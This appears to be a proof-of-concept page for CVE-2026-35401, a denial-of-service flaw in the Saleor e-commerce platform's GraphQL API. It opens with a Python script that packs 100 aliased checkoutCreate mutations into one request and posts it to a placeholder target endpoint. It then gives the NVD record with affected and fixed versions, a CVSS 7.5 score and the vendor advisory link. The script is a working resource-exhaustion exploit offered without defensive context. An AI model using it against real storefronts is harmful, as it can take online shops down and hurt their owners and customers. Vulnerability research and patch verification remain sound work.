CVE-2026-35401

import requests # Target GraphQL endpoint url = "http://target-url.com/graphql/" # Construct a malicious payload with multiple aliases # This simulates sending many mutations in one request aliases = [] for i in range(100): # Replace 'checkoutCreate' with a valid mutation from the schema aliases.append(f"op{i}: checkoutCreate(input: {{}}) {{ id }}") graphql_query = f"mutation {{ {', '.join(aliases)} }}" payload = { "query": graphql_query, "variables": {} } try: response = requests.post(url, json=payload) print(f"Request sent, status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-35401", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:23.740", "lastModified": "2026-04-20T20:03:15.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Saleor is an e-commerce platform. From 2.0.0 to before 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118, a malicious actor can include many GraphQL mutations or queries in a single API call using aliases or chaining multiple mutations, resulting in resource exhaustion. This vulnerability is fixed in 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "3.20.118", "matchCriteriaId": "1B4A5EA6-A42E-41BA-9A75-20C9FF65EE98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.21.0", "versionEndExcluding": "3.21.54", "matchCriteriaId": "2312AF3F-A049-4E4B-AAEF-21D7B5463A3A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.22.0", "versionEndExcluding": "3.22.47", "matchCriteriaId": "ABB6E342-967D-4F4D-9869-BC24C630ACEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha0:*:*:*:*:*:*", "matchCriteriaId": "086CBDFF-B1C4-4AD4-9F39-00B028E29338"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "404B7EE8-9CE0-4B8D-B0B7-2DF60F355E72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "6DD7D745-F558-4CBE-9110-2F7DCBCF4D2F"}]}]}], "references": [{"url": "https://github.com/saleor/saleor/security/advisories/GHSA-gqqv-xwx3-jj4h", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}